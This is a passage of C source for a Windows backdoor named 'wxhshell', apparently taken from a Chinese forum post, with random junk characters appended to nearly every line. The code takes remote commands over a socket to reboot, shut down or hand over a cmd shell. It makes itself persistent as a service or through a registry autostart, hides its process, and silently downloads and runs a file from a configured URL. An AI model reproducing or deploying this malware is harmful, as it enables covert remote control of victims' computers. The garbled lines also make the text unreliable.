    break; OB5`a,5dI  
  } 7gcJ.,Z.  
  // 安装 N1i%b,:3  
  case 'i': { CQm(N  
    if(Install()) +(3U_]Lu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]728x["(19  
    else hUGP3ExC*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o79EDPX  
    break; /V@9!  
    } 'l*p!=  
  // 卸载 0'0GAh2  
  case 'r': { &!5S'J %  
    if(Uninstall()) +GqUI~a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NvqIYW  
    else wz=c#}0dB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1z$K54Mj  
    break; B)}.%G*  
    } E2~&GkU.UN  
  // 显示 wxhshell 所在路径 .8EaFEd  
  case 'p': { %qqX-SF0C  
    char svExeFile[MAX_PATH]; nL@(|nJ[  
    strcpy(svExeFile,"\n\r"); Xe7/  
      strcat(svExeFile,ExeFile); =7212('F  
        send(wsh,svExeFile,strlen(svExeFile),0); /f0*NNSat-  
    break; 2/m4|  
    } sV`!4 u7%}  
  // 重启 _gl7Ma  
  case 'b': { (6#, $Ze   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c Y(2}Ay  
    if(Boot(REBOOT)) Q=~ *oYR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Y_CRxa\u  
    else { i~0x/wSl_  
    closesocket(wsh); lOuO~`,J  
    ExitThread(0); K~ob]I<GiB  
    } r?j2%M\  
    break; Yg kd1uI.  
    } k zuI<DW  
  // 关机 3BzC'nplm  
  case 'd': { ?6T\uzL +%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MGU%"7i'}  
    if(Boot(SHUTDOWN)) ]5Mq^@mD'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?|NMJ Qsa7  
    else { JRYCM}C]  
    closesocket(wsh); !5XH.DYq!  
    ExitThread(0); M!)~h<YL  
    } 'BO MFp7c  
    break; {|D7H=f  
    } O; #qG/b1  
  // 获取shell xg8$ <Ut  
  case 's': { a 0+W-#G  
    CmdShell(wsh); /c:78@  
    closesocket(wsh); 2{;~Bg d  
    ExitThread(0); D(&XmC[\Y  
    break; L }L"BY3$  
  } tR`^c8gD  
  // 退出 ;\48Q;  
  case 'x': { dlJc~|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p38RgEf  
    CloseIt(wsh); .TpM3b#r  
    break; fx3oA}  
    } >o,l/# z  
  // 离开 5BRZpCb  
  case 'q': { YM.Q?p4g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }2+*E}g  
    closesocket(wsh); 3K{G=WE$  
    WSACleanup(); ]7DS>%m Y(  
    exit(1); *1`q x+1  
    break; P?/Mrz   
        } l:- <CbG  
  } GX0S9s  
  }  Xn=  
i!u:]14>  
  // 提示信息 wT@{=s,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h6~ H5X  
} u%b.#!  
  } =+ALh-  
]Mb:zs<r  
  return; ![Ll$L r  
} T7# }& >  
2C[xrZa^  
// shell模块句柄 h;DLD8L  
int CmdShell(SOCKET sock) )PCh;P0C  
{ mZ0'-ax   
STARTUPINFO si; &MJ cLM]  
ZeroMemory(&si,sizeof(si)); C7Ny-rj}IA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; khe.+Qfgj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zg=jDPt}  
PROCESS_INFORMATION ProcessInfo; 9:JQ*O$  
char cmdline[]="cmd"; d<_#Q7]I4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s ~>0<3{5  
  return 0; D/&nEMp6  
} iTc q=  
/7LAd_P6  
// 自身启动模式 RG e2N |  
int StartFromService(void) [DD#YL\P  
{ ;Q\MH t*  
typedef struct 5fY7[{ 2  
{ y134m  
  DWORD ExitStatus; nh*hw[Ord  
  DWORD PebBaseAddress; jUGk=/*]e  
  DWORD AffinityMask; 'bn$"A"{o  
  DWORD BasePriority; hQ\W~3S55  
  ULONG UniqueProcessId; *IQQsfL)  
  ULONG InheritedFromUniqueProcessId; .1YiNmW=  
}   PROCESS_BASIC_INFORMATION; ?.Lq`~T`  
p5`={'>-  
PROCNTQSIP NtQueryInformationProcess; 4Qj@:b  
U0@Qc}y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jg\FD51$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dks"(0g  
Ef\&3TcQ  
  HANDLE             hProcess; /Y0oA3am  
  PROCESS_BASIC_INFORMATION pbi; `h='FJ/!  
bzyy;`;6Q~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jX&/ e'B  
  if(NULL == hInst ) return 0; 8iUYZF  
FO{?Z%& ;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ctx{rf_~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .f-s+J&ED  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *('Vyd!n  
"5@\"L  
  if (!NtQueryInformationProcess) return 0; ]o ($No  
:=?od 0]W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); % 8P8h%%Z  
  if(!hProcess) return 0; {]Ec:6  
!0X/^Xv@=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MQMc=Z4d  
u[6aSqwC |  
  CloseHandle(hProcess); >~*}9y0$  
UO4z~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <2t%<<%  
if(hProcess==NULL) return 0; pM}n)Q!{3"  
cv"Bhql  
HMODULE hMod; ?wpl 88z  
char procName[255]; NeR1}W  
unsigned long cbNeeded; -\~HAnh  
?/}-&A"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $f AZ^   
A`nzqe#(1  
  CloseHandle(hProcess); ]ASTw(4  
Q .g44>  
if(strstr(procName,"services")) return 1; // 以服务启动 <lP5}F87  
e4<St`K  
  return 0; // 注册表启动 g3TqTs  
} 51 "v`O+  
IHwoG(A~<  
// 主模块 ^?S lM  
int StartWxhshell(LPSTR lpCmdLine) BHpj_LB-P  
{ FW:V<{f  
  SOCKET wsl; "10.,QK  
BOOL val=TRUE; " nLWvV1  
  int port=0; WO=P~F<  
  struct sockaddr_in door; WDF6.i ?  
ld7B{ ?]  
  if(wscfg.ws_autoins) Install(); Ws:+P~8  
XGAR8=tic  
port=atoi(lpCmdLine); ?OC&=}  
(r/))I9^  
if(port<=0) port=wscfg.ws_port; ?i$MinK  
ZJV;&[$[  
  WSADATA data; VLC=>w\,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3bagL)'iz  
QeQxz1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I @ D<rjR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6\RZ[gA?  
  door.sin_family = AF_INET; =xr2-K)e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +kx#"L:  
  door.sin_port = htons(port); u_.Ig|Va  
_ uZVlu@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RY]jY | E  
closesocket(wsl); B6U4>ZN  
return 1; s:J QV  
} 7W=s.Gy7G\  
K Vnz{cx`  
  if(listen(wsl,2) == INVALID_SOCKET) { KNSMx<GP  
closesocket(wsl); ?|{tWR,Vb  
return 1; !=]cASPGD  
} 9G)fJr  
  Wxhshell(wsl); <AB({(  
  WSACleanup(); QxiAC>%K  
iz2;xa*  
return 0; Tz{-L%*#  
Z@bKYfGM  
} p5#UH  
WnQ+  
// 以NT服务方式启动 z`!f'I--!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R2y~+tko?  
{ RC^k#+  
DWORD   status = 0; i*e'eZ;)  
  DWORD   specificError = 0xfffffff; ,p6o "-  
90">l^HX=  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  \1?:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F+/#ugI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4)d"}j  
  serviceStatus.dwWin32ExitCode     = 0; >Dq&[9,8  
  serviceStatus.dwServiceSpecificExitCode = 0; {=,+;/0  
  serviceStatus.dwCheckPoint       = 0; `FmRoMW9+  
  serviceStatus.dwWaitHint       = 0; y~<_ux,  
hzrS_v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J"Nn.iVq  
  if (hServiceStatusHandle==0) return; c> ":g~w  
 5 c1{[  
status = GetLastError(); t^7}j4lk  
  if (status!=NO_ERROR) Cg]S`R-  
{ 9C: V i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]Mj N)%hT  
    serviceStatus.dwCheckPoint       = 0; E]ZIm  
    serviceStatus.dwWaitHint       = 0; 3H`ES_JL  
    serviceStatus.dwWin32ExitCode     = status; N.-*ig.YR7  
    serviceStatus.dwServiceSpecificExitCode = specificError; a t%qowt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C0;:")6~  
    return; >(a[b@[K  
  } {#&jW  
dwVo"_Yr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :CG;:( |  
  serviceStatus.dwCheckPoint       = 0; %=5m!"F  
  serviceStatus.dwWaitHint       = 0; ^o Q^/v~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p&ZLd`[  
} /\5u-o)  
7QHrb'c  
// 处理NT服务事件,比如:启动、停止 :YNXS;>)!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J pKCux  
{ z}2  
switch(fdwControl) B2,JfKk/  
{ p0C|ECH  
case SERVICE_CONTROL_STOP: 1p(9hVA  
  serviceStatus.dwWin32ExitCode = 0; jWh}cM=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _OJ19Ry  
  serviceStatus.dwCheckPoint   = 0; 1qhSN#s{_  
  serviceStatus.dwWaitHint     = 0; 47^7S=  
  { U9h@1:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DaqpveKa  
  } mh8)yy5\  
  return; "^5%g%  
case SERVICE_CONTROL_PAUSE: !}L cJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ui }%T]  
  break; pt~b=+bBm  
case SERVICE_CONTROL_CONTINUE: E~1"Nh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .<.#g +  
  break; Vn6]h|vm  
case SERVICE_CONTROL_INTERROGATE: ^qV6 khg  
  break; n4/Jx*  
}; 8Oo16LPD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nfS.0\z  
} }RZN3U=  
{GS$7n  
// 标准应用程序主函数 P yN{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pSS8 %r%S'  
{ 1IWP~G  
r*t\F& D  
// 获取操作系统版本 '~[JV>5  
OsIsNt=GetOsVer(); VZr AZV^c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '))=y@M  
>jpk R  
  // 从命令行安装 `h$^=84  
  if(strpbrk(lpCmdLine,"iI")) Install(); e%JH q  
@tPptB  
  // 下载执行文件 `_>44!M  
if(wscfg.ws_downexe) { +XL|bdK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <{1=4PA  
  WinExec(wscfg.ws_filenam,SW_HIDE); Oi\,clR^[o  
} td(4Fw||1y  
#\gx.2W7  
if(!OsIsNt) { dR >hb*k J  
// 如果时win9x,隐藏进程并且设置为注册表启动 YY 8vhnw  
HideProc(); \Culf'iX  
StartWxhshell(lpCmdLine); obSLy Ed  
} &``nYI g/  
else 5ii:93Hlj  
  if(StartFromService()) f"0?_cG{%  
  // 以服务方式启动 5DnX8t+d  
  StartServiceCtrlDispatcher(DispatchTable); ~a` vk@8  
else 7aJ:kumDZ  
  // 普通方式启动 ?7R&=B1g  
  StartWxhshell(lpCmdLine); `6 ?.ihV  
Gw?$.@L'I6  
return 0; #lO~n.+P  
}
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只看该作者 1 发表于: 2006-10-10
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